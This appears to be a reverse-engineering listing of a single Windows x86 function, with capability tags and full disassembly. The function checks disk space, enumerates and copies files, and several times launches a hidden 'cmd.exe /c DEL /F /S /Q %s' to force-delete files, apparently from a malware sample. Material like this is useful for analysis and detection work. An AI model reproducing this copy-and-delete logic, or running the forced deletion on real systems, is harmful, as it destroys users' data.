Function at 0x401440
Capabilities:
Copy file
Create process on windows
Enumerate files on windows
Get disk size
Resolve function by parsing pe exports

Disassembly:
mov eax, 0x1130
call fcn.00403b50
push ebx
push ebp
push esi
push edi
xor esi, esi
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0xae2]
mov word [esp + 0xae0], si
mov word [esp + 0xce8], si
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0xcea]
mov word [esp + 0x6d0], si
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x6d2]
mov word [esp + 0x78], si
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x7a]
mov word [esp + 0x4d0], si
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x7f
xor eax, eax
lea edi, [esp + 0x4d2]
mov edx, dword [esp + 0x1144]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x38]
mov dword [esp + 0x34], esi
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x1c]
mov dword [esp + 0x1c], eax
push ecx
push esi
push esi
push edx
mov dword [esp + 0x30], eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x1c]
push esi
push 2
push eax
push ecx
call fcn.00403c10
push esi
push 0xa
push edx
push eax
call fcn.00403ba0
mov ebp, dword [esp + 0x1148]
mov dword [esp + 0x18], edx
lea edx, [esp + 0xae0]
push ebp
push edx
mov dword [esp + 0x1c], eax
call fcn.00403b29
lea eax, [esp + 0xae8]
push 0x4161ac
push eax
call fcn.00403aff
mov ebx, dword [sym.imp.KERNEL32.dll_FindFirstFileW]
add esp, 0x10
lea ecx, [esp + 0x280]
lea edx, [esp + 0xae0]
push ecx
push edx
call ebx
mov edi, eax
cmp edi, 0xffffffff
mov dword [esp + 0x10], edi
jne 0x401578
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1130
ret
lea eax, [esp + 0x2ac]
push 0x4161a4
push eax
call fcn.00403aca
add esp, 8
test eax, eax
je 0x4015c1
lea ecx, [esp + 0x280]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x40182c
lea edx, [esp + 0x2ac]
push 0x4161a4
push edx
call fcn.00403aca
add esp, 8
test eax, eax
jne 0x401591
mov ecx, 0x82
xor eax, eax
lea edi, [esp + 0x6d0]
push ebp
rep stosd dword es:[edi], eax
lea eax, [esp + 0x6d4]
push eax
call fcn.00403b29
lea ecx, [esp + 0x2b4]
lea edx, [esp + 0x6d8]
push ecx
push edx
call fcn.00403aff
mov ecx, 0x82
xor eax, eax
lea edi, [esp + 0x88]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x115c]
lea ecx, [esp + 0x88]
push eax
push ecx
call fcn.00403b29
lea edx, [esp + 0x2c4]
lea eax, [esp + 0x90]
push edx
push eax
call fcn.00403aff
mov eax, dword [esp + 0x1170]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov ebp, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
add esp, 0x20
cmp eax, 1
je 0x401652
cmp eax, 4
jne 0x4016fa
lea ecx, [esp + 0x78]
push esi
lea edx, [esp + 0x6d4]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov ecx, 0x80
xor eax, eax
lea edi, [esp + 0x4d0]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x1148]
lea ecx, [esp + 0x4d0]
push eax
push str.cmd.exe__c_DEL__F__S__Q___s_
push ecx
call fcn.00403a5b
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x40]
add esp, 0xc
rep stosd dword es:[edi], eax
lea edx, [esp + 0x24]
lea eax, [esp + 0x34]
push edx
push eax
push esi
push esi
push 0x8000020
push 1
push esi
lea ecx, [esp + 0x4ec]
push esi
push ecx
push esi
mov dword [esp + 0x5c], 0x44
mov dword [esp + 0x60], esi
mov dword [esp + 0x90], esi
mov dword [esp + 0x64], esi
mov dword [esp + 0x88], 1
mov word [esp + 0x8c], si
call ebx
mov edx, dword [esp + 0x24]
push 0xffffffffffffffff
push edx
call ebp
mov eax, dword [esp + 0x1150]
cmp eax, 2
je 0x401708
cmp eax, 8
jne 0x401822
mov ecx, 0x80
xor eax, eax
lea edi, [esp + 0x4d0]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x1148]
lea ecx, [esp + 0x4d0]
push eax
push str.cmd.exe__c_DEL__F__S__Q___s_
push ecx
call fcn.00403a5b
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x40]
add esp, 0xc
rep stosd dword es:[edi], eax
lea edx, [esp + 0x24]
lea eax, [esp + 0x34]
push edx
push eax
push esi
push esi
push 0x8000020
push 1
push esi
lea ecx, [esp + 0x4ec]
push esi
push ecx
push esi
mov dword [esp + 0x5c], 0x44
mov dword [esp + 0x60], esi
mov dword [esp + 0x90], esi
mov dword [esp + 0x64], esi
mov dword [esp + 0x88], 1
mov word [esp + 0x8c], si
call ebx
mov edx, dword [esp + 0x24]
push 0xffffffffffffffff
push edx
call ebp
mov ecx, 0x80
xor eax, eax
lea edi, [esp + 0x4d0]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x114c]
lea ecx, [esp + 0x4d0]
push eax
push str.cmd.exe__c_DEL__F__S__Q___s_
push ecx
call fcn.00403a5b
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x40]
add esp, 0xc
rep stosd dword es:[edi], eax
lea edx, [esp + 0x24]
lea eax, [esp + 0x34]
push edx
push eax
push esi
push esi
push 0x8000020
push 1
push esi
lea ecx, [esp + 0x4ec]
push esi
push ecx
push esi
mov dword [esp + 0x5c], 0x44
mov dword [esp + 0x60], esi
mov dword [esp + 0x90], esi
mov dword [esp + 0x64], esi
mov dword [esp + 0x88], 1
mov word [esp + 0x8c], si
call ebx
mov edx, dword [esp + 0x24]
push 0xffffffffffffffff
push edx
call ebp
mov eax, dword [esp + 0x10]
push eax
jmp 0x401b4b
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
lea ecx, [esp + 0x280]
lea edx, [esp + 0xae0]
push ecx
push edx
call ebx
cmp eax, 0xffffffff
mov dword [esp + 0x10], eax
jne 0x40185b
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1130
ret
mov ebx, dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov ecx, 0x82
xor eax, eax
lea edi, [esp + 0x6d0]
push ebp
rep stosd dword es:[edi], eax
lea eax, [esp + 0x6d4]
push eax
call fcn.00403b29
lea ecx, [esp + 0x2b4]
lea edx, [esp + 0x6d8]
push ecx
push edx
call fcn.00403aff
mov ebp, dword [esp + 0x115c]
mov ecx, 0x82
xor eax, eax
lea edi, [esp + 0x88]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x88]
push ebp
push eax
call fcn.00403b29
lea ecx, [esp + 0x2c4]
lea edx, [esp + 0x90]
push ecx
push edx
call fcn.00403aff
mov al, byte [esp + 0x2a0]
add esp, 0x20
test al, 0x10
jne 0x401af7
mov ecx, 0x82
xor eax, eax
lea edi, [esp + 0xce8]
push ebp
rep stosd dword es:[edi], eax
lea eax, [esp + 0xcec]
push eax
call fcn.00403b29
lea ecx, [esp + 0xcf0]
push 0x4161ac
push ecx
call fcn.00403aff
add esp, 0x10
lea edx, [esp + 0xef0]
lea eax, [esp + 0xce8]
xor ebp, ebp
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x401b1a
lea ecx, [esp + 0xf1c]
lea edx, [esp + 0x2ac]
push ecx
push edx
call fcn.00403aca
add esp, 8
test eax, eax
je 0x401981
lea eax, [esp + 0xef0]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x401986
lea ecx, [esp + 0xf1c]
lea edx, [esp + 0x2ac]
push ecx
push edx
call fcn.00403aca
add esp, 8
test eax, eax
jne 0x401952
mov ebp, 1
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp ebp, esi
jne 0x401af7
mov edi, dword [esp + 0x1150]
cmp edi, 4
jne 0x4019db
mov eax, dword [esp + 0x29c]
mov edx, dword [esp + 0x18]
mov ecx, dword [esp + 0x2a0]
cmp edx, eax
jb 0x401b32
ja 0x4019c7
cmp dword [esp + 0x14], ecx
jb 0x401b32
mov edx, dword [esp + 0x14]
sub edx, ecx
mov ecx, dword [esp + 0x18]
sbb ecx, eax
mov dword [esp + 0x14], edx
mov dword [esp + 0x18], ecx
lea eax, [esp + 0x78]
push esi
lea ecx, [esp + 0x6d4]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
cmp edi, 2
jne 0x401af7
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x34]
mov word [esp + 0x8d8], si
rep stosd dword es:[edi], eax
mov ecx, 0x81
lea edi, [esp + 0x8da]
rep stosd dword es:[edi], eax
lea edx, [esp + 0x78]
mov dword [esp + 0x34], 0x44
push edx
mov dword [esp + 0x3c], esi
mov dword [esp + 0x6c], esi
mov dword [esp + 0x40], esi
mov dword [esp + 0x64], 1
mov word [esp + 0x68], si
stosw word es:[edi], ax
call fcn.00403b7f
lea eax, [esp + eax*2 + 0x76]
push 0x41615c
push eax
call fcn.00403aca
add esp, 0xc
test eax, eax
jne 0x401ad7
mov ecx, 0x82
lea edi, [esp + 0x8d8]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x8d8]
push 0x416140
push eax
call fcn.00403b29
lea ecx, [esp + 0x80]
lea edx, [esp + 0x8e0]
push ecx
push edx
call fcn.00403aff
lea eax, [esp + 0x8e8]
push 0x41613c
push eax
call fcn.00403aff
add esp, 0x18
lea ecx, [esp + 0x24]
lea edx, [esp + 0x34]
lea eax, [esp + 0x8d8]
push ecx
push edx
push esi
push esi
push 0x8000020
push 1
push esi
push esi
push eax
push esi
call ebx
mov ecx, dword [esp + 0x24]
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x401af7
lea edx, [esp + 0x24]
lea eax, [esp + 0x34]
push edx
push eax
push esi
push esi
push 0x8000020
push 1
push esi
push esi
lea ecx, [esp + 0x98]
push esi
push ecx
call ebx
mov edi, dword [esp + 0x10]
lea edx, [esp + 0x280]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x401b4a
mov ebp, dword [esp + 0x1148]
jmp 0x401861
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1130
ret
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1130
ret
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x1130
ret